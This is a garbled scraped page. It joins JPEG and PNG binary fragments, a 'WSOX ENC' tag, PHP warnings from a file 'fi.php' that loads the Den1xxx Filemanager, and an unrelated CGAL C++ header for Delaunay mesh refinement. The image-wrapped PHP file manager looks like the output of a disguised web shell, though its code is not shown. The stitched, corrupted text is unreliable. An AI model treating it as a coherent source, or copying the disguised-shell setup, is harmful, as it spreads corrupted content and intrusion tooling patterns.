1:45 PM 11/12/2025 ���� JFIF    �� �        "" $(4,$&1'-=-157:::#+?D?8C49:7 7%%77777777777777777777777777777777777777777777777777��  { �" ��     �� 5    !1AQa"q�2��BR��#b�������  ��  ��   ? ��D@DDD@DDD@DDkK��6 �UG�4V�1�� �����릟�@�#���RY�dqp� ����� �o�7�m�s�<��VPS�e~V�چ8���X�T��$��c�� 9��ᘆ�m6@ WU�f�Don��r��5}9��}��hc�fF��/r=hi�� �͇�*�� b�.��$0�&te��y�@�A�F�=� Pf�A��a���˪�Œ�É��U|� � 3\�״ H SZ�g46�C��צ�ے �b<���;m����Rpع^��l7��*�����TF�}�\�M���M%�'�����٠ݽ�v� ��!-�����?�N!La��A+[`#���M����'�~oR�?��v^)��=��h����A��X�.���˃����^Ə��ܯsO"B�c>; �e�4��5�k��/CB��.  �J?��;�҈�������������������~�<�VZ�ꭼ2/)Í”jC���ע�V�G�!���!�F������\�� Kj�R�oc�h���:Þ I��1"2�q×°8��Р@ז���_C0�ր��A��lQ��@纼�!7��F�� �]�sZ B�62r�v�z~�K�7�c��5�.���ӄq&�Z�d�<�kk���T&8�|���I���� Ws}���ǽ�cqnΑ�_���3��|N�-y,��i���ȗ_�\60���@��6����D@DDD@DDD@DDD@DDD@DDc�KN66<�c��64=r����� ÄŽ0��h���t&(�hnb[� ?��^��\��â|�,�/h�\��R��5�? �0�!צ܉-����G����٬��Q�zA���1�����V��� �:R���`�$��ik��H����D4�����#dk����� h�}����7���w%�������*o8wG�LycuT�.���ܯ7��I��u^���)��/c�,s�Nq�ۺ�;�ך�YH2���.5B���DDD@DDD@DDD@DDD@DDD@V|�a�j{7c��X�F\�3MuA×¾hb� ��n��F������ ��8�(��e����Pp�\"G�`s��m��ާaW�K��O����|;ei����֋�[�q��";a��1����Y�G�W/�߇�&�<���Ќ�H'q�m���)�X+!���=�m�ۚ丷~6a^X�)���,�>#&6G���Y��{����"" """ """ """ """ ""��at\/�a�8 �yp%�lhl�n����)���i�t��B�������������?��modskinlienminh.com - WSOX ENC ‰PNG  IHDR Ÿ f Õ†C1 sRGB ®Îé gAMA ± üa pHYs à ÃÇo¨d GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT h25jguaT5*！‰PNG  IHDR Ÿ f Õ†C1 sRGB ®Îé gAMA ± üa pHYs à ÃÇo¨d GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT h25jguaT5*！
Warning: Undefined variable $authorization in C:\xampp\htdocs\demo\fi.php on line 57

Warning: Undefined variable $translation in C:\xampp\htdocs\demo\fi.php on line 118

Warning: Trying to access array offset on value of type null in C:\xampp\htdocs\demo\fi.php on line 119

Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in C:\xampp\htdocs\demo\fi.php on line 120

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 247

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 248

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 249

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 250

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 251

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 252
// Copyright (c) 2004-2006 INRIA Sophia-Antipolis (France). // All rights reserved. // // This file is part of CGAL (www.cgal.org). // // $URL: https://github.com/CGAL/cgal/blob/v6.1/Mesh_2/include/CGAL/Delaunay_mesher_no_edge_refinement_2.h $ // $Id: include/CGAL/Delaunay_mesher_no_edge_refinement_2.h b26b07a1242 $ // SPDX-License-Identifier: GPL-3.0-or-later OR LicenseRef-Commercial // // // Author(s) : Laurent RINEAU #ifndef CGAL_DELAUNAY_MESHER_NO_EDGE_REFINEMENT_2_H #define CGAL_DELAUNAY_MESHER_NO_EDGE_REFINEMENT_2_H #include #include #include #include namespace CGAL { template class Delaunay_mesher_no_edge_refinement_2 { /** \name `Tr` types */ typedef typename Tr::Vertex_handle Vertex_handle; typedef typename Tr::Face_handle Face_handle; typedef typename Tr::Edge Edge; typedef typename Tr::Point Point; /** \name Types needed for private member data */ typedef Mesh_2::Do_not_refine_edges > Edges_level_base; typedef Mesh_2::Refine_edges, Edges_level_base> Edges_level; typedef Mesh_2::Refine_faces Faces_level; public: typedef Tr Triangulation; typedef Crit Criteria; /** \name Types needed to mark the domain for Delaunay_mesh_2 */ typedef std::list Seeds; typedef typename Seeds::const_iterator Seeds_iterator; typedef Seeds_iterator Seeds_const_iterator; private: // --- PRIVATE MEMBER DATA --- Tr& tr; Criteria criteria; Null_mesher_level null_level; Null_mesh_visitor null_visitor; Edges_level edges_level; Faces_level faces_level; Seeds seeds; bool seeds_mark = false; bool initialized = false; public: /** \name CONSTRUCTORS */ Delaunay_mesher_no_edge_refinement_2(Tr& tr_, const Criteria& criteria_ = Criteria()) : tr(tr_), criteria(criteria_), null_level(), null_visitor(), edges_level(tr, null_level), faces_level(tr, criteria, edges_level) { } Delaunay_mesher_no_edge_refinement_2(Tr& tr_, Edges_level& edges_level_, const Criteria& criteria_ = Criteria()) : tr(tr_), criteria(criteria_), null_level(), null_visitor(), edges_level(edges_level_), faces_level(tr, criteria, edges_level) { } /** SEEDS HANDLING FUNCTIONS */ Seeds_const_iterator seeds_begin() const { return seeds.begin(); } Seeds_const_iterator seeds_end() const { return seeds.end(); } /** \name MARKING FUNCTIONS */ /** The value type of \a InputIterator should be `Point`, and represents seeds. Connected components of seeds are marked with the value of \a mark. Other components are marked with `!mark`. The connected component of infinite faces is always marked with `false`. */ template void set_seeds(InputIterator b, InputIterator e, const bool mark = false, const bool do_it_now = false) { seeds.clear(); std::copy(b, e, std::back_inserter(seeds)); seeds_mark=mark; if(do_it_now) mark_facets(); } void clear_seeds() { seeds.clear(); seeds_mark = false; } void mark_facets(bool domain_specified = false) { if(!domain_specified) { mark_facets(tr, seeds.begin(), seeds.end(), seeds_mark); } else { propagate_marks(tr.infinite_face(), false); } } /** Procedure that marks facets according to a list of seeds. */ template static void mark_facets(Tr& tr, Seeds_it begin, Seeds_it end, bool mark = false) { if (tr.dimension()<2) return; if( begin != end ) { for(typename Tr::All_faces_iterator it=tr.all_faces_begin(); it!=tr.all_faces_end(); ++it) it->set_in_domain(!mark); for(Seeds_it sit=begin; sit!=end; ++sit) { Face_handle fh=tr.locate(*sit); if(fh!=nullptr) propagate_marks(fh, mark); } propagate_marks(tr.infinite_face(), false); } else mark_convex_hull(tr); } /** * Marks all faces of the convex hull but those connected to the * infinite faces. */ static void mark_convex_hull(Tr& tr) { for(typename Tr::All_faces_iterator fit=tr.all_faces_begin(); fit!=tr.all_faces_end(); ++fit) fit->set_in_domain(true); propagate_marks(tr.infinite_face(), false); } /** Propagates the mark `mark` recursively. */ static void propagate_marks(const Face_handle fh, bool mark) { // std::queue only works with std::list on VC++6, and not with // std::deque, which is the default // But it should be fixed by VC++7 know. [Laurent Rineau 2003/03/24] std::queue*/> face_queue; fh->set_in_domain(mark); face_queue.push(fh); while( !face_queue.empty() ) { Face_handle fh = face_queue.front(); face_queue.pop(); for(int i=0;i<3;i++) { const Face_handle& nb = fh->neighbor(i); if( !fh->is_constrained(i) && (mark != nb->is_in_domain()) ) { nb->set_in_domain(mark); face_queue.push(nb); } } } } /** \name MESHING FUNCTIONS */ void refine_mesh() { if(initialized != true) init(); faces_level.refine(null_visitor); } /** \name REMESHING FUNCTIONS */ void set_criteria(const Criteria& criteria_, bool recalculate_bad_faces = true) { criteria = criteria_; if (recalculate_bad_faces) faces_level.scan_triangulation(); } const Criteria& get_criteria() const { return criteria; } template void set_bad_faces(Fh_it begin, Fh_it end) { faces_level.set_bad_faces(begin, end); } /** \name STEP BY STEP FUNCTIONS */ /** Initialize the data structures (The call of this function is REQUIRED before any step by step operation). */ void init(bool domain_specified = false) { mark_facets(domain_specified); edges_level.scan_triangulation(); faces_level.scan_triangulation(); initialized = true; } bool is_refinement_done () { return faces_level.is_algorithm_done(); } bool step_by_step_refine_mesh() { return faces_level.try_to_insert_one_point(null_visitor); } bool try_one_step_refine_mesh() { return faces_level.one_step(null_visitor); } /** \name ACCESS FUNCTIONS */ const Triangulation& triangulation() const { return tr; } /** \name DEBUGGING FUNCTIONS */ typedef typename Edges_level::Constrained_edge Constrained_edge; bool is_edges_refinement_done() { return edges_level.is_algorithm_done(); } Edge next_encroached_edge() { return edges_level.get_next_element(); } const Face_handle next_bad_face() { return faces_level.get_next_element(); } const Point next_refinement_point() { if( !edges_level.is_algorithm_done() ) return edges_level.refinement_point(next_encroached_edge()); else return faces_level.refinement_point(next_bad_face()); } typedef typename Edges_level::Edges_const_iterator Encroached_edges_const_iterator; typedef typename Faces_level::Bad_faces_const_iterator Bad_faces_const_iterator; Encroached_edges_const_iterator encroached_edges_begin() const { return edges_level.begin(); } Encroached_edges_const_iterator encroached_edges_end() const { return edges_level.end(); } Bad_faces_const_iterator bad_faces_begin() const { return faces_level.begin(); } Bad_faces_const_iterator bad_faces_end() const { return faces_level.end(); } }; // end class Delaunay_mesher_no_edge_refinement_2 // --- GLOBAL FUNCTIONS --- template void refine_Delaunay_mesh_2_without_edge_refinement(Tr& t, const Criteria& criteria = Criteria(), bool domain_specified=false) { typedef Delaunay_mesher_no_edge_refinement_2 Mesher; Mesher mesher(t, criteria); mesher.init(domain_specified); mesher.refine_mesh(); } template void refine_Delaunay_mesh_2_without_edge_refinement(Tr& t, InputIterator b, InputIterator e, const Criteria& criteria = Criteria(), bool mark = false) { typedef Delaunay_mesher_no_edge_refinement_2 Mesher; Mesher mesher(t, criteria); mesher.set_seeds(b, e, mark); mesher.refine_mesh(); } } // end namespace CGAL #include #endif // CGAL_DELAUNAY_MESHER_NO_EDGE_REFINEMENT_2_H